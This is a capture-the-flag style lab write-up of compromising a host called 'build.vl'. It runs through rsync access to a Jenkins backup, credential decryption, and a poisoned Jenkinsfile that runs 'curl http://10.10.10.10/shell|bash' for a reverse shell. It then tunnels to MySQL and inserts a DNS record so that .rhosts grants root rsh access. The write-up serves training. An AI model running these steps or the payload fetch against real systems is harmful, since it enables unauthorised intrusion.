Reconnaissance
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 47:21:73:e2:6b:96:cd:f9:13:11:af:40:c8:4d:d6:7f (ECDSA)
|_ 256 2b:5e:ba:f3:72:d3:b3:09:df:25:41:29:09:f4:7b:f5 (ED25519)
53/tcp open domain PowerDNS
512/tcp open exec netkit-rsh rexecd
513/tcp open login?
514/tcp open shell Netkit rshd
873/tcp open rsync (protocol version 31)
3000/tcp open http? Golang net/http server
| fingerprint-strings:
| GenericLines, Help, RTSPRequest:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 200 OK
| Cache-Control: max-age=0, private, must-revalidate, no-transform
| Content-Type: text/html; charset=utf-8
| Set-Cookie: i_like_gitea=419869a38a4e9bc8; Path=/; HttpOnly; SameSite=Lax
| Set-Cookie: _csrf=VLK0pk4nKJHbCu0KTk0fwE6wlno6MTc0ODg1MTMwMzY3NDg0MzczMg; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
| X-Frame-Options: SAMEORIGIN
| Date: Mon, 02 Jun 2025 08:01:43 GMT
| <!DOCTYPE html>
| <html lang="en-US" class="theme-auto">
| <head>
| <meta name="viewport" content="width=device-width, initial-scale=1">
| <title>Gitea: Git with a cup of tea</title>
| <link rel="manifest" href="data:application/json;base64,eyJuYW1lIjoiR2l0ZWE6IEdpdCB3aXRoIGEgY3VwIG9mIHRlYSIsInNob3J0X25hbWUiOiJHaXRlYTogR2l0IHdpdGggYSBjdXAgb2YgdGVhIiwic3RhcnRfdXJsIjoiaHR0cDovL2J1aWxkLnZsOjMwMDAvIiwiaWNvbnMiOlt7InNyYyI6Imh0dHA6Ly9idWlsZC52bDozMDAwL2Fzc2V0cy9pbWcvbG9nby5wbmciLCJ0eXBlIjoiaW1hZ2UvcG5nIiwic2l6ZXMiOiI1MTJ
| HTTPOptions:
| HTTP/1.0 405 Method Not Allowed
| Allow: HEAD
| Allow: HEAD
| Allow: GET
| Cache-Control: max-age=0, private, must-revalidate, no-transform
| Set-Cookie: i_like_gitea=c99fb3ae7e25ba6e; Path=/; HttpOnly; SameSite=Lax
| Set-Cookie: _csrf=HVJARHDEd__miEnA-QXGTzhwlxY6MTc0ODg1MTMwMzg4ODIzNDU1NA; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
| X-Frame-Options: SAMEORIGIN
| Date: Mon, 02 Jun 2025 08:01:43 GMT
|_ Content-Length: 0
3306/tcp filtered mysql
8081/tcp filtered blackice-icecap
The nmap scan found a Gitea instance on port 3000
, multiple ports related to rsh and the rsync port.
Execution
Accessing the Gitea instance on port 3000
shows only one public accessible repository called dev
from buildadm
. It just contains a single file but the contents of Jenkinsfile
do not reveal any interesting information. Despite being able to register a new account this does not increase visibility into the instance.
Shifting my focus to rsync in order to check if I can access it without providing credentials. Listing the available folders and contents works and I find jenkins.tar.gz
in folder backups
.
$ rsync -av --list-only rsync://10.10.118.222
backups backups
$ rsync -av --list-only rsync://10.10.118.222/backups
receiving incremental file list
drwxr-xr-x 4,096 2024/05/02 15:26:31 .
-rw-r--r-- 376,289,280 2024/05/02 15:26:19 jenkins.tar.gz
sent 24 bytes received 82 bytes 212.00 bytes/sec
total size is 376,289,280 speedup is 3,549,898.87
Then I create a local folder to store the archive in and retrieve it with rsync.
$ mkdir backups
$ rsync -av rsync://10.10.118.222/backups backups
receiving incremental file list
created directory backups
./
jenkins.tar.gz
sent 50 bytes received 376,381,276 bytes 3,047,622.07 bytes/sec
total size is 376,289,280 speedup is 1.00
Instead of manually going through the extracted archive, I use go-decrypt-jenkins to search for credentials. This uncovers the login details for buildadm
and a password hash for admin
.
$ ./go-decrypt-jenkins-linux-amd64 -d jenkins_configuration
Searching for files in jenkins_configuration
username: buildadm
password: G<REDACTED>!
usernameSecret: false
id: e4048737-7acd-46fd-86ef-a3db45683d4f
id: admin
name: admin
passwordHash: #jbcrypt:$2a$10$Pa<REDACTED>rG
The password G<REDACTED>!
is valid for accessing the Gitea instance as buildadm
and I gain write access to the only repository. Based on the Jenkinsfile
, this repo might be used in the a pipeline and checking the configured webhooks enforces that assumption.
After replacing the Jenkinsfile
with another version that fetches a reverse shell payload from my web server and pipes it over to Bash, I do get a callback as root
within a container.
pipeline {
agent any
stages {
stage('Do nothing') {
steps {
sh 'curl http://10.10.10.10/shell|bash'
}
}
}
}
Privilege Escalation
The home folder of the root
user contains an .rhosts
file specifying two entries from where a user can login via rsh
without providing a password1.
admin.build.vl +
intern.build.vl +
From the nmap scan I know that a filtered port for MySQL was discovered and the /etc/hosts
file within the container reveals the IP 172.18.0.3
for the current system, so the actual host might be accessible on 172.18.0.1
.
In order for me to access the network 172.18.0.1/24
I transfer chisel via curl and run it in client mode to open a SOCKS proxy. Running mysql via proxychains lets me access the database without providing a password.
$ proxychains -q mysql -u root \
-h 172.18.0.1 \
--skip-ssl \
--silent
MariaDB [(none)]> show databases;
Database
information_schema
mysql
performance_schema
powerdnsadmin
sys
MariaDB [(none)]> use powerdnsadmin
MariaDB [powerdnsadmin]> show tables;
Tables_in_powerdnsadmin
account
account_user
alembic_version
apikey
apikey_account
comments
cryptokeys
domain
domain_apikey
domain_setting
domain_template
domain_template_record
domain_user
domainmetadata
domains
history
records
role
sessions
setting
supermasters
tsigkeys
user
MariaDB [powerdnsadmin]> select * from records;
id domain_id name type content ttl prio disabled ordername auth
8 1 db.build.vl A 172.18.0.4 60 0 0 NULL 1
9 1 gitea.build.vl A 172.18.0.2 60 0 0 NULL 1
10 1 intern.build.vl A 172.18.0.1 60 0 0 NULL 1
11 1 jenkins.build.vl A 172.18.0.3 60 0 0 NULL 1
12 1 pdns-worker.build.vl A 172.18.0.5 60 0 0 NULL 1
13 1 pdns.build.vl A 172.18.0.6 60 0 0 NULL 1
14 1 build.vl SOA a.misconfigured.dns.server.invalid hostmaster.build.vl 2024050201 10800 3600 604800 3600 1500 0 0 NULL 1
Listing the records in the powerdnsadmin database show the configured DNS entries. Notably admin.build.vl
is missing despite being present in the .rhosts
file. Therefore I add this entry pointing towards my IP into the database.
INSERT INTO records
(id, domain_id, name, type, content, ttl, prio, disabled, ordername, auth)
VALUES
(15, 1, "admin.build.vl", "A", "10.10.10.10", 60, 0, 0, NULL, 1);
With nslookup I check the DNS server for the newly created DNS entry and get my IP back.
$ nslookup admin.build.vl 10.10.118.222
Server: 10.10.118.222
Address: 10.10.118.222#53
Name: admin.build.vl
Address: 10.10.10.10
Trying to access the host via rsh works and I get a shell as root
on the host system.
$ rsh 10.10.118.222 -l root
$ id
uid=0(root) gid=0(root) groups=0(root)
Attack Path
flowchart TD subgraph "Execution" A(rysnc) -->|No Authentication| B(Jenkins Backup) B -->|Search for secrets| C(Access to Gitea as buildadm) C -->|Modify Jenkinsfile| D(Shell as root in container) end subgraph "Privilege Escalation" D -->|Unsecured MySQL on host| E(Add DNS entry in PowerDNS) E -->|Login via rsh| F(Shell as root) end